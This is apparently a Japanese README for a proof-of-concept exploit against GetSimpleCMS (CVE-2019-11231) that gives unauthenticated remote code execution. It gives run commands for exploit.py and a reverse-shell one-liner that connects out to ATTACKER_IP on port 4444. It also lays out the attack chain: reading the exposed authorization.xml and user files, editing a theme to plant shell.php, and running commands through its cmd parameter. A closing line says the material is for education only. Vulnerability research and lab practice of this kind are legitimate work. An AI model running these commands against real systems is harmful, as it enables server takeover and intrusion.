
CVE-2019-11231のPoC
GetSimpleCMS ≤ 3.3.15 用 認証なしリモートコード実行エクスプロイト
GetSimpleCMS は機密ファイルを公開します(/data/other/authorization.xml、/data/users/)。これにより攻撃者は以下を実行できます:
CVSS スコア: 9.8(緊急)
pip install -r requirements.txt
python3 exploit.py http://target.com "id"
python3 exploit.py gettingstarted.htb "whoami"
python3 /tmp/test.py gettingstarted.htb "/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
GET /admin/GET /data/other/authorization.xmlGET /data/users/SHA1(username + salt)GET /admin/theme-edit.phpPOST /admin/theme-edit.phpGET /theme/shell.php?cmd=...exploit.py - メインのエクスプロイトスクリプトrequirements.txt - 依存関係(requests、beautifulsoup4)⚠️ 教育目的のみ。 自分が所有している、またはテスト許可を得たシステムでのみテストしてください。